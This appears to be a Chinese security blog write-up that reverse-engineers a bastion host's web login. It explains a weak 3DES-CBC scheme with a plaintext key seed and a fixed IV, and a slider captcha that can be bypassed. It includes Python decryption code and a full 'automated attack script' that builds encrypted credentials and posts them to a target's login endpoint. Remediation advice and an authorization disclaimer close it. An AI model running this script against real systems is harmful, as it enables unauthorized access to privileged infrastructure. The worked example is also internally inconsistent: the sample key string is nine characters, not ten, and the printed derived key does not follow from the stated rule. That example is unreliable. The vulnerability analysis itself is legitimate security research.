某堡垒机js逆向
字数 1501
更新时间 2026-03-07 10:15:19

某堡垒机登录加密与滑块验证绕过技术分析

1. 概述

本文档详细分析了某堡垒机登录过程中的JavaScript加密流程与滑块验证机制,并提供了完整的逆向思路与自动化脚本实现方法。登录过程主要涉及两个关键请求:/iam-web/authc/mode/trunk(获取验证参数)和/iam-web/authc/trunk(提交登录数据),其中提交的数据使用了3DES加密。

2. 核心流程分析

2.1 请求端点

  • 初始化请求: GET /iam-web/authc/mode/trunk
  • 登录请求: POST /iam-web/authc/trunk

2.2 滑块验证机制

  1. 访问登录页面时,前端会调用login_loginIni()函数,向/authc/mode/trunk发送GET请求。
  2. 服务器返回的JSON数据中包含关键字段data.meta.secRandomRegion,该值决定了滑块验证需要停止的位置。
  3. 前端通过$('#drag').drag({"stop": stopNum});将滑块初始位置设置为secRandomRegion的值,完成滑块验证的初始化。

2.3 登录数据加密流程

当用户点击登录时,前端调用login_trunkLogin(pubKey)函数,关键加密逻辑位于serializeSecurityArrayToJson(Lwyne1)中。

3. 加密算法详细解析

3.1 加密函数代码(还原后)

function serializeSecurityArrayToJson(Lwyne1) {
    var JYTqrZPaG2 = {};
    var pt3 = randomStr(10, 8);                 // 生成10位随机字符串
    var p4 = reqSecurypt(pt3);                  // 对随机字符串进行密钥处理
    var d5 = CryptoJS.enc.Base64.parse(p4);     // Base64解码得到3DES密钥
    var siKsHDj6 = CryptoJS.enc.Utf8.parse('99999999');  // 固定IV
    var EqgMJwU7 = CryptoJS.TripleDES.encrypt(Lwyne1, d5, {  // 3DES-CBC加密
        iv: siKsHDj6,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7
    });
    var nYCLDq9 = EqgMJwU7.toString();          // 加密结果转为字符串
    JYTqrZPaG2["q"] = nYCLDq9;                  // 加密后的数据
    JYTqrZPaG2["c"] = pt3;                      // 随机密钥(明文传输)
    return $.toJSON(JYTqrZPaG2);                // 返回JSON字符串
}

3.2 密钥生成函数

function reqSecurypt(N$vusDs8) {
    var Hj9 = N$vusDs8.split("");  // 将字符串拆分成字符数组
    // 取第1、3、5和最后一个字符组成新的字符串
    var yZQQiAh10 = Hj9[0] + Hj9[2] + Hj9[4] + Hj9[Hj9.length - 1];
    var zjXgDu11 = 8;  // 循环次数
    var CeOuO12 = "";
    for (var USp13 = 0; USp13 < zjXgDu11; USp13++) {
        CeOuO12 += yZQQiAh10;  // 重复拼接字符串8次
    }
    return CeOuO12;  // 返回最终结果
}

密钥生成规则

  1. 从10位随机字符串c中提取第1、3、5、10位字符(索引从0开始)
  2. 将这4个字符组成的字符串重复8次,形成32位字符串
  3. 对该32位字符串进行Base64解码,得到24字节的3DES密钥

加密参数

  • 算法:3DES(Triple DES)
  • 模式:CBC
  • 填充:PKCS7
  • 初始向量(IV):固定为99999999(8字节)

3.3 请求数据结构

最终POST请求的body格式为:

{
    "q": "加密后的数据(Base64编码)",
    "c": "10位随机字符串"
}

4. 解密验证

4.1 Python解密示例

from Crypto.Cipher import DES3
import base64

# 已知数据
q = "gJMTn05013ZBI5e3DJXKQYH/CvtdNr13SPBg8UrOMqW57odRbXXPx81NL1YK1QKw6e7VO7kr8vD0NXuY/C3Iw=="
c = "dO4SmQzdb"

# step1: 根据c生成p4
def req_securypt(pt3):
    chars = pt3
    key = chars[0] + chars[2] + chars[4] + chars[-1]
    return key * 8

p4 = req_securypt(c)
print("p4:", p4)  # 输出:ddSdddSdddSdddSdddSdddSdddSdddSd

# step2: Base64 decode得到3DES key
d5 = base64.b64decode(p4 + "===")  # 补齐Base64
print("d5 length:", len(d5))  # 输出:24

# step3: 固定IV
iv = b"99999999"

# step4: 3DES-CBC解密
cipher = DES3.new(d5, DES3.MODE_CBC, iv)
ciphertext = base64.b64decode(q)
plaintext = cipher.decrypt(ciphertext)

# step5: 去掉PKCS7填充
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
print("明文:", plaintext.decode('utf-8'))

5. 自动化攻击脚本

5.1 完整攻击流程

import requests
import json
from Crypto.Cipher import DES3
import base64

# 固定c(可从任意请求中获取)
c = "dO4SmQzdb"

# 1. 请求authc/mode/trunk获取secRandomRegion
header = {
    "Cookie": "JSESSIONID=B1AB71535B8A157C1B690FB3BE0B4D75; JSESSIONID=70E267CE1122D2A891DCBE9AF6F535E3"
}
resp = requests.get("https://target/iam-web/authc/mode/trunk", headers=header, verify=False)
sec_random_region = resp.json()["meta"]["secRandomRegion"]

# 2. 构造明文数据
data = {
    "id": "username",
    "simplePasswd": "password",
    "secRandomRegion": str(sec_random_region)
}

# 3. 加密函数
def req_securypt(pt3):
    chars = pt3
    key = chars[0] + chars[2] + chars[4] + chars[-1]
    return key * 8

def encrypt_data(plaintext_dict, c_key):
    # 生成p4
    p4 = req_securypt(c_key)
    d5 = base64.b64decode(p4 + "===")  # 3DES key
    iv = b"99999999"
    
    # PKCS7填充
    plaintext = json.dumps(plaintext_dict).encode("utf-8")
    pad_len = 8 - len(plaintext) % 8
    plaintext += bytes([pad_len] * pad_len)
    
    # 3DES-CBC加密
    cipher = DES3.new(d5, DES3.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    q = base64.b64encode(ciphertext).decode("utf-8")
    
    return {"q": q, "c": c_key}

# 4. 加密数据
body = encrypt_data(data, c)
print("加密后body:", body)

# 5. 发送登录请求
resp2 = requests.post("https://target/iam-web/authc/trunk", 
                      headers=header, 
                      json=body, 
                      verify=False)
print("登录响应:", resp2.text)

5.2 攻击要点

  1. Cookie保持:整个过程中需要使用相同的Cookie维持会话
  2. 滑块位置:必须使用从第一个请求获取的secRandomRegion
  3. 密钥固定:参数c可以是任意10位字符串,但需要前后端一致
  4. 加密一致性:必须严格按照前端逻辑实现加密算法

6. 安全缺陷总结

  1. 密钥传输不安全:加密密钥的关键参数c以明文形式传输
  2. 密钥生成算法弱:从10位随机字符串中仅取4位重复生成密钥,熵值不足
  3. 固定IV:使用固定的初始向量99999999,不符合CBC模式的安全要求
  4. 算法可预测:整个加密流程完全暴露在前端,无混淆或保护措施
  5. 滑块验证可绕过:滑块位置由服务器返回,可通过脚本直接获取并提交

7. 修复建议

  1. 使用HTTPS:确保所有通信通道加密
  2. 增强密钥管理:使用非对称加密或密钥协商协议
  3. 动态IV:每次加密使用随机生成的IV
  4. 代码混淆:对前端JavaScript进行混淆处理
  5. 增加服务端验证:对异常请求频率和模式进行检测
  6. 强化滑块验证:增加行为分析,防止脚本自动化操作

8. 注意事项

  1. 本分析仅用于安全研究和授权测试目的
  2. 在实际测试前需获得系统所有者的书面授权
  3. 攻击脚本中的目标地址和Cookie需替换为实际值
  4. 不同版本的堡垒机可能存在差异,需根据实际情况调整

通过本文档的详细分析,可以全面理解该堡垒机登录机制的加密原理和实现方式,为安全评估和加固提供技术依据。

相似文章
相似文章
 全屏